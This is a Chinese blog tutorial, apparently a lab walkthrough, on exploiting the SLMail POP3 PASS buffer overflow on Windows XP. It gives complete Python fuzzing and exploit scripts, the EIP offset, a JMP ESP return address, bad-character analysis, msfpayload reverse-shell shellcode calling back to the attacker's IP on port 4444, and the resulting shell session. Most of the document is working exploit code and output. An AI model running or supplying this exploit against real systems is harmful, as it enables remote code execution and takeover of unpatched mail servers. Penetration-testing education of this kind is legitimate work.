标签:exploit mmu 0x0d bdd and 说明 deb 字符串 验证
准备环境:
攻机:Kali 2.0
靶机:windows xp ,windows2003不能做这个实验,亲测好多次没成功。有兴趣可以试试
软件:SLMail、immunity debugger 、mona.py
需要软件的可以留言。
总体步骤:
1. 测试是否发生缓冲区溢出
2. 找到缓冲区溢出的位置的临界点并验证
3. 查找系统中固定分配的模块中,哪里有jmp esp,为了后面实现跳转
4. 在2找到的位置处写上3处找到的地址,也就是实现由 eip 到 jmp esp 的过程。这个过程设置断点验证是否跳转成功
5. 判断有哪些坏字符,每个服务不一定相同
6. 生成shellcode,并发送。
7. 完成
开启windows的POP3服务
使用python脚本测试来连接
?#!/usr/bin/python
?import socket
?s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
?try:
? print "\nSending veil buffer..."
? s.connect((‘10.10.10.19‘,110))
? data=s.recv(1024)
? print data
? s.send(‘USER test\r\n‘)
? data=s.recv(1024)
? print data
? s.send(‘PASS test\r\n‘)
? data=s.recv(1024)
? print data
? s.close()
? print "\nDone!"
?except:
? print "\nFailed to connect pop3"
运行结果:
root@kal:/test# ./01.py
?Sending veil buffer...
?+OK POP3 server example.com ready <00005.5584281@example.com>
?-ERR unable to lock mailbox
Done!
说明连接POP3成功.....
windows端要用immunity debugger打开slmail服务
打开immunity ==> File ==> Attach ==>选择下面的那一行
点右下角的Attach,然后开始运行,运行时候,右下角的pause会变成running状态
这时运行下面脚本:
#!/usr/bin/python
import socket
buffer = ["A"]
counter = 100
while len(buffer)<=50:
buffer.append("A"*counter)
counter = counter + 200
for string in buffer:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((‘10.10.10.19‘,110))
print "Sending length %s " %(len(string))
s.recv(1024)
s.send(‘USER test‘+‘\r\n‘)
s.recv(1024)
s.send(‘PASS ‘+string+‘\r\n‘)
s.recv(1024)
s.send(‘QUIT\r\n‘)
s.close()
运行情况:
当执行到2700时。发现在也不动了,看一下windows状况,右下角已经出现了pase,已经停止了,在2600个字符发完之后还能发送,但是到了2700发送完之后就连接不上了,说明缓冲区溢出临界点发生在2600-2700之间。
利用metasploit生成唯一字符串,发送:
root@kal:/test# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2700
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8D
重启windows的服务,immunity需要重新打开然后attach,让服务运行起来
修改上面的python继续发送:
#!/usr/bin/python
import socket
buffer="改成上面生成的字符串"
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
print "\nSending veil buffer..."
s.connect((‘10.10.10.19‘,110))
data=s.recv(1024)
s.send(‘USER test\r\n‘)
data=s.recv(1024)
s.send(‘PASS ‘+buffer+‘\r\n‘)
data=s.recv(1024)
s.close()
print "\nDone!"
except:
print "\nFailed to connect pop3"
运行脚本,观察windows停止时EIP的位置
用metasploit模块求出偏移量:
root@kal:/test# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 39694438
[*] Exact match at offset 2606
得知偏移量是2606,说明EIP的位置在第2607-2610处
重启windows服务,编写下面脚本
#!/usr/bin/python
import socket
buffer = "A"*2606 + "B"*4 + "C"*900
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
print "\nSending veil buffer..."
s.connect((‘10.10.10.19‘,110))
data=s.recv(1024)
s.send(‘USER test\r\n‘)
s.send(‘PASS ‘+ buffer + ‘\r\n‘)
data=s.recv(1024)
s.close()
print "\nDone!"
except:
print "\nFailed to connect pop3"
服务再次暂停,这时发现EIP处的位置变成4个C,说明确定EIP的位置是正确的。
查看存放C的个数
可以看到下图,计算大概存放了400多个C,足够存放一个shellcode
理想状况就是,将EIP的内容修改成ESP的地址,ESP如果放置的是shellcode此时就会被执行,但是每次ESP的地址不同,不能直接修改。这时,我们需要利用系统中自带的 jmp esp 帮我们跳转到esp位置,去执行shellcode
首先将mona模块导入immunity中的Pycommands中
启动服务,将immunity打开attach上服务。
查看系统的所有模块
需要选择前4个是false的,最后一个是true的。就只有三四个,但是其中只有slmfc.dll模块中含有 jmp esp
其中 \xff\xe4 是汇编语言中的 jmp esp,可以通过kali工具翻译
root@kal:~# /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm > jmp esp
00000000 FFE4 jmp esp
输入十六进制需要加上 \x 。后面就以第一个作为jmp esp
双击查找的第一个 jmp esp,就可以看到地址是 5F4A358F
接着上面的地址设置断点
发送下面的脚本:
#!/usr/bin/python
import socket
buffer = "A"*2606 + "\x8f\x35\x4a\x5f" + "C"*900 #倒着输入上面的地址。
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
print "\nSending veil buffer..."
s.connect((‘10.10.10.19‘,110))
data=s.recv(1024)
s.send(‘USER test\r\n‘)
s.send(‘PASS ‘+ buffer + ‘\r\n‘)
data=s.recv(1024)
s.close()
print "\nDone!"
except:
print "\nFailed to connect pop3"
启动服务,发送脚本
右下角会显示执行到断点处,停止
这时按下F7单步执行
就可以看到,已经跳转到esp,里面装的43 也即是C
说明跳转成功了。
重启服务。
编写下面脚本‘’
#!/usr/bin/python
import socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
badchar=(
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x00"
)
buffer="A"*2606+"B"*4+badchar
try:
s.connect((‘10.10.10.12‘,110))
data=s.recv(1024)
s.send(‘USER test‘+‘\r\n‘)
data=s.recv(1024)
s.send(‘PASS ‘+buffer+‘\r\n‘)
s.close()
print "\nDone"
print "\nSending veil buffer..."
except:
print "Fail connect target"
发送脚本,在windows端
通过上图可以看到0x0a的字符缺失,并且之后的字符也有丢失,那么我们改掉0x0a继续发送一遍
可以看到,我们踢掉0a之后,后面字符串就可以显示了,说明0a是个坏字符。\x0d也没有显示出来,以及\x00
这样就找到三个坏字符0x00 0x0D 0x0A
构造反弹shell
root@kal:/usr/share/framework2# ./msfpayload win32_reverse LHOST=10.10.10.11 LPORT=4444 R | ./msfencode -b "\x0d\x00\x0a"
[*] Using Msf::Encoder::PexFnstenvMov with final size of 310 bytes
"\x6a\x48\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x0f\x2a\x32".
"\x60\x83\xeb\xfc\xe2\xf4\xf3\x40\xd9\x2d\xe7\xd3\xcd\x9f\xf0\x4a".
"\xb9\x0c\x2b\x0e\xb9\x25\x33\xa1\x4e\x65\x77\x2b\xdd\xeb\x40\x32".
"\xb9\x3f\x2f\x2b\xd9\x29\x84\x1e\xb9\x61\xe1\x1b\xf2\xf9\xa3\xae".
"\xf2\x14\x08\xeb\xf8\x6d\x0e\xe8\xd9\x94\x34\x7e\x16\x48\x7a\xcf".
"\xb9\x3f\x2b\x2b\xd9\x06\x84\x26\x79\xeb\x50\x36\x33\x8b\x0c\x06".
"\xb9\xe9\x63\x0e\x2e\x01\xcc\x1b\xe9\x04\x84\x69\x02\xeb\x4f\x26".
"\xb9\x10\x13\x87\xb9\x20\x07\x74\x5a\xee\x41\x24\xde\x30\xf0\xfc".
"\x54\x33\x69\x42\x01\x52\x67\x5d\x41\x52\x50\x7e\xcd\xb0\x67\xe1".
"\xdf\x9c\x34\x7a\xcd\xb6\x50\xa3\xd7\x06\x8e\xc7\x3a\x62\x5a\x40".
"\x30\x9f\xdf\x42\xeb\x69\xfa\x87\x65\x9f\xd9\x79\x61\x33\x5c\x69".
"\x61\x23\x5c\xd5\xe2\x08\x05\x20\x38\x6b\x69\x42\x23\x3c\x69\x79".
"\xbb\x81\x9a\x42\xde\x99\xa5\x4a\x65\x9f\xd9\x40\x22\x31\x5a\xd5".
"\xe2\x06\x65\x4e\x54\x08\x6c\x47\x58\x30\x56\x03\xfe\xe9\xe8\x40".
"\x76\xe9\xed\x1b\xf2\x93\xa5\xbf\xbb\x9d\xf1\x68\x1f\x9e\x4d\x06".
"\xbf\x1a\x37\x81\x99\xcb\x67\x58\xcc\xd3\x19\xd5\x47\x48\xf0\xfc".
"\x69\x37\x5d\x7b\x63\x31\x65\x2b\x63\x31\x5a\x7b\xcd\xb0\x67\x87".
"\xeb\x65\xc1\x79\xcd\xb6\x65\xd5\xcd\x57\xf0\xfa\x5a\x87\x76\xec".
"\x4b\x9f\x7a\x2e\xcd\xb6\xf0\x5d\xce\x9f\xdf\x42\xc2\xea\x0b\x75".
"\x61\x9f\xd9\xd5\xe2\x60";
编写脚本:
#!/usr/bin/python
import socket
shellcode="\x6a\x48\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x0f\x2a\x32\x60\x83\xeb\xfc\xe2\xf4\xf3\x40\xd9\x2d\xe7\xd3\xcd\x9f\xf0\x4a\xb9\x0c\x2b\x0e\xb9\x25\x33\xa1\x4e\x65\x77\x2b\xdd\xeb\x40\x32\xb9\x3f\x2f\x2b\xd9\x29\x84\x1e\xb9\x61\xe1\x1b\xf2\xf9\xa3\xae\xf2\x14\x08\xeb\xf8\x6d\x0e\xe8\xd9\x94\x34\x7e\x16\x48\x7a\xcf\xb9\x3f\x2b\x2b\xd9\x06\x84\x26\x79\xeb\x50\x36\x33\x8b\x0c\x06\xb9\xe9\x63\x0e\x2e\x01\xcc\x1b\xe9\x04\x84\x69\x02\xeb\x4f\x26\xb9\x10\x13\x87\xb9\x20\x07\x74\x5a\xee\x41\x24\xde\x30\xf0\xfc\x54\x33\x69\x42\x01\x52\x67\x5d\x41\x52\x50\x7e\xcd\xb0\x67\xe1\xdf\x9c\x34\x7a\xcd\xb6\x50\xa3\xd7\x06\x8e\xc7\x3a\x62\x5a\x40\x30\x9f\xdf\x42\xeb\x69\xfa\x87\x65\x9f\xd9\x79\x61\x33\x5c\x69\x61\x23\x5c\xd5\xe2\x08\x05\x20\x38\x6b\x69\x42\x23\x3c\x69\x79\xbb\x81\x9a\x42\xde\x99\xa5\x4a\x65\x9f\xd9\x40\x22\x31\x5a\xd5\xe2\x06\x65\x4e\x54\x08\x6c\x47\x58\x30\x56\x03\xfe\xe9\xe8\x40\x76\xe9\xed\x1b\xf2\x93\xa5\xbf\xbb\x9d\xf1\x68\x1f\x9e\x4d\x06\xbf\x1a\x37\x81\x99\xcb\x67\x58\xcc\xd3\x19\xd5\x47\x48\xf0\xfc\x69\x37\x5d\x7b\x63\x31\x65\x2b\x63\x31\x5a\x7b\xcd\xb0\x67\x87\xeb\x65\xc1\x79\xcd\xb6\x65\xd5\xcd\x57\xf0\xfa\x5a\x87\x76\xec\x4b\x9f\x7a\x2e\xcd\xb6\xf0\x5d\xce\x9f\xdf\x42\xc2\xea\x0b\x75\x61\x9f\xd9\xd5\xe2\x60"
buffer = "A"*2606 + "\x8f\x35\x4a\x5f" + "\x90"*9 +shellcode
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
print "\nSending veil buffer..."
s.connect((‘10.10.10.19‘,110))
data=s.recv(1024)
s.send(‘USER test\r\n‘)
s.send(‘PASS ‘+ buffer + ‘\r\n‘)
data=s.recv(1024)
s.close()
print "\nDone!"
except:
print "\nFailed to connect pop3"
上面的\x90 代表NOP,不执行,目的是防止后面的shellcode因为其他原因缺失前面几个字节。
打开windows服务,用kali监听4444端口,然后发送脚本,得到一个反弹shell。
root@kal:/test# nc -lvp 4444
listening on [any] 4444 ...
^[[A^[[B10.10.10.19: inverse host lookup failed: Unknown host
connect to [10.10.10.11] from (UNKNOWN) [10.10.10.19] 1158
Microsoft Windows XP [?汾 5.1.2600]
(C) ??????? 1985-2001 Microsoft Corp.
C:\Program Files\SLmail\System> #拿到shell
标签:exploit mmu 0x0d bdd and 说明 deb 字符串 验证
原文地址:http://blog.51cto.com/13155409/2139655